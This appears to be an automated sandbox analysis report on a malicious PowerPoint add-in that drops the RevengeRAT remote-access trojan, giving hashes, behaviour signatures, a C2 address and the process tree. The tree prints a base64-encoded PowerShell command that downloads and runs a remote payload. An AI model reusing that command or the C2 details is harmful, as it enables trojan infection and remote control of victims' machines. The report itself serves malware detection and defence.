Analysis
- max time kernel
95s - max time network
158s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system - submitted
07/08/2024, 02:10
Static task
static1
Behavioral task
behavioral1
Sample
c9d30547f95342adddd7fc858c2b26bd7161e7c74d507659047810368cf09425.ppam
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
c9d30547f95342adddd7fc858c2b26bd7161e7c74d507659047810368cf09425.ppam
Resource
win10v2004-20240802-en
General
- Target c9d30547f95342adddd7fc858c2b26bd7161e7c74d507659047810368cf09425.ppam
- Size 42KB
- Sample240807-cl5xfa1gqa
- SHA256 c9d30547f95342adddd7fc858c2b26bd7161e7c74d507659047810368cf09425
- MD5 433bdbd638bb73e32bbd0f09f5b65615
- SHA1 9ada46ba3bf29a15c2fab966b34ff84eafc80e16
- SHA512 a6c6f9808b75cab61298720422d97b26c73d623a4c2a9e573a650cff05f10cafb162c2450d0fca9071ac850552268ff5556e958d9794b360c3ae61f4f6257d9b
- SSDEEP 768:VPVv71ojMnlnxl+CwdBFvqEyvsFNDYg+qyfDuoDrC8v+fanxw3hcgd7hSFmq8:V9BTlb+bdrvMg+xC2ei+Cxw3Wc7hSc
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
revengerat
-
NyanCatRevenge
-
18.228.173.171:5222
-
8b39f6245ef24a80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 1128 3796 powershell.exe 82 - RevengeRAT
Remote-access trojan with a wide range of capabilities.
- Blocklisted process makes network request 1 IoCs
flow pid Process 10 1128 powershell.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1128 set thread context of 412 1128 powershell.exe 90 - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegSvcs.exe - Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegSvcs.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString POWERPNT.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 RegSvcs.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU POWERPNT.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily POWERPNT.EXE - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3796 POWERPNT.EXE - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1128 powershell.exe 1128 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1128 powershell.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 3796 POWERPNT.EXE 3796 POWERPNT.EXE 3796 POWERPNT.EXE - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3796 wrote to memory of 1128 3796 POWERPNT.EXE 86 PID 3796 wrote to memory of 1128 3796 POWERPNT.EXE 86 PID 1128 wrote to memory of 412 1128 powershell.exe 90 PID 1128 wrote to memory of 412 1128 powershell.exe 90 PID 1128 wrote to memory of 412 1128 powershell.exe 90 PID 1128 wrote to memory of 412 1128 powershell.exe 90 PID 1128 wrote to memory of 412 1128 powershell.exe 90 PID 1128 wrote to memory of 412 1128 powershell.exe 90 PID 1128 wrote to memory of 412 1128 powershell.exe 90 PID 1128 wrote to memory of 412 1128 powershell.exe 90 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\c9d30547f95342adddd7fc858c2b26bd7161e7c74d507659047810368cf09425.ppam" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3796 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAG0AYQBzAHQAZQByAC0AMgA3ADEAYgA4AC4AYQBwAHAAcwBwAG8AdAAuAGMAbwBtAC8AbwAvAE4ATwBWAE8AUgBFAFYARQBSAEcARQBNAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADcAOQA2AGYAZQA4ADIANAAtADMAZQA0ADUALQA0ADYANgBkAC0AOQBkADYANgAtADYAOAAxADQAZQBhADIANwAyAGYAYQA0AA0ACgAnACkAOwAgAA0ACgBkAG4ATgB0AFIAcAB0AFcAUgBGAEQAaQBVAHAAVQBjAEcASABMAHoAbwBEAFUARgBvAEUAQwBRAHoAQwBMAEYAaABWAGkAVAB2AFMASABmAHQAYwBwAFoARQBVAFIARABOAGIAQgBkAEoAcwBwAGIAQQBpAGUAUwBNAEkAYQBuAFUAQwBiAFoAYgBjAHMATwBFAEcARgB1AFMADQAKAA==""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1128 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
PID:412
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rou0w0w0.t45.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512